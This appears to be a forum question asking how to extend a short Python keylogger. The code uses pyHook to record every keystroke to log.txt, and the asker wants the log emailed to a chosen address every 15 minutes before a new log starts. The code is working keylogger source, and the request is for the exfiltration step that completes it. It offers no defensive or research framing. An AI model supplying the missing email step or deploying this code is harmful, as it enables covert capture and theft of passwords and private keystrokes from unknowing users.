I would like to know how I can send my log.txt file to a desired email at a defined time (eg 15 min)? And after being sent, the process restarts and creates a new log.txt.
import pythoncom, pyHook,
def registrar(evento):
arquivo = open('log.txt', 'a')
teclas = chr(evento.Ascii)
arquivo.write(teclas)
hook = pyHook.HookManager()
hook.KeyDown = registrar
hook.HookKeyboard()
pythoncom.PumpMessages()